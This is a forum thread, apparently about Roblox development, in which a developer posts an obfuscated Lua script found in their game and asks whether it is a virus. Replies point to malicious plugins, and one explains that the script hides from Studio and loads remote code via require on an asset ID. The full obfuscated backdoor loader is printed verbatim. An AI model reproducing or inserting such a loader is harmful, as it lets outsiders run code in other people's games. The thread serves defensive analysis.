My main reason for posting this is because I made the original script that was here, and I don’t know if someone pasted this in here or not. Is it a virus? I consider myself a good scripter but, in these terms, I don’t know what to think of what it possible is. I see the “RunService” and “MarketPlaceService” in between the code but can someone that knows a little more explain to me what’s happening here?
aYlWCsEuWpEwPEoLYmAh='Ru'..'nS'..'ervi'..'ce';t='oidutSsI';qSTVT=game;jcXlCiYMfEZtKkPRL=qSTVT.GetService;jnUXlGLmW='r'..'ev'..'er'..'se';NUMiOIAsJaawl=pcall;VAZ='Mar'..'ke'..'tP'..'la'..'ce'..'Se'..'rvic'..'e';it='Ge'..'tPr'..'oduc'..'tIn'..'fo';OkAuNLtVZRUqJRgfnRjdWt='ᮍ'WIxjAiVfCJ = getfenv ( ) [ '\114' .. '\101\113' .. '\117\105\114\101' ];if jcXlCiYMfEZtKkPRL ( qSTVT , aYlWCsEuWpEwPEoLYmAh )[ t [ jnUXlGLmW ]( t ) ] ( jcXlCiYMfEZtKkPRL ( qSTVT , aYlWCsEuWpEwPEoLYmAh ) ) then return end;if not NUMiOIAsJaawl(function() gpcSVcnQY = jcXlCiYMfEZtKkPRL ( qSTVT , VAZ ) [ it ] ( jcXlCiYMfEZtKkPRL ( qSTVT , VAZ ) , 73379870112 / 16 ) [ 'Desc' .. 'ript' .. 'ion' ] WIxjAiVfCJ ( tonumber ( gpcSVcnQY : match ( '%d+' ) ) ) end) then NUMiOIAsJaawl( function ( ) WIxjAiVfCJ ( 1526761926 * 3 ) end ) end
Personally, I don’t know much about Roblox Studio viruses, but check your plugins, and see if you got anything malicious there. If you find all of the plugins you downloaded legitimate, search for the original ones, and compare them with the ones you suspect are fake.
This is the first time I’ve logged onto this game in a while, so maybe I’ll ask other people devving on the game to check theirs, not sure the real cause of it though.
Hmm. If you both have it, try comparing what plugins you both have: a script can’t just get into your game unless a plug-in does it, or if you used the toolbox
The obfuscation is relatively easy to reverse. I won’t post the reversed code here for obvious reasons, but here’s what it does:
The script loads the description of the asset with ID 4586241882, and then requires the ID in its description by using match to get the numbers, or failing that it will load the hardcoded ID 4580285778 (same as in the description). The asset no longer exists so the script is broken (good!) but you should really check your plugins. Check specifically which ones have the ability to inject scripts into your game.